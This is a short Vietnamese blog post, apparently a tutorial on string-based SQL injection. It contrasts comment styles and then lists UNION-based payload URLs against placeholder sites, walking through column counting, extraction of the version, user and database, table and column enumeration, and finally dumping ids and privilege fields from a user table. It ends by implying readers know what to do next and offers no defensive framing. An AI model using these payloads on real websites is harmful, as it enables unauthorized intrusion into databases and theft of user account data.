Đây là một trong những kiểu khai thác SQLi đơn giản. Nó cũng gần tương tự với SQLi Basic, tuy nhiên nó khác với SQLi basic là khi khai thác ta không dùng -- - ở cuối querry mà sử dụng  --+,  +--+  hoặc  +-- và ta them ‘ vào sau số ID

Ví dụ:

SQLi Basic:
http://www.site.com/?page=sanpham&id=422  order by 1-- -
SQLi String Basic:
http://www.site.com/?page=sanpham&id=422’  order by 1--+

String Based SQL injection

1. Getting Column Number:

http://site.com/publications.php?id=19' order by 6--+-

2. Getting Vulnerable Column Number:

http://site.com/publications.php?id=19' union select 1,2,3,4,5,6--+-

3. Getting Version, Database, User :

http://site.com/publications.php?id=19' union select 1,2,group_concat(database()),concat(user(),0x3a,version()),5,6--+-


http://site.com/publications.php?id=19' union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--+-


5. Getting Column Name:

http://site.com/publications.php?id=19' union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name=char(104,111,109,101,112,97,103,101,117,115,101,114,115)--+-


6. Getting Data From Column Name:

http://site.com/publications.php?id=19'  union select 1,2,3,group_concat(id,0x3e,netid,0x3e,privelage),5,6 from homepageusers--+-


Đến đây chắc các bạn biết phải làm gì roài nhỉ :D

Đăng nhận xét Blogger

 
Top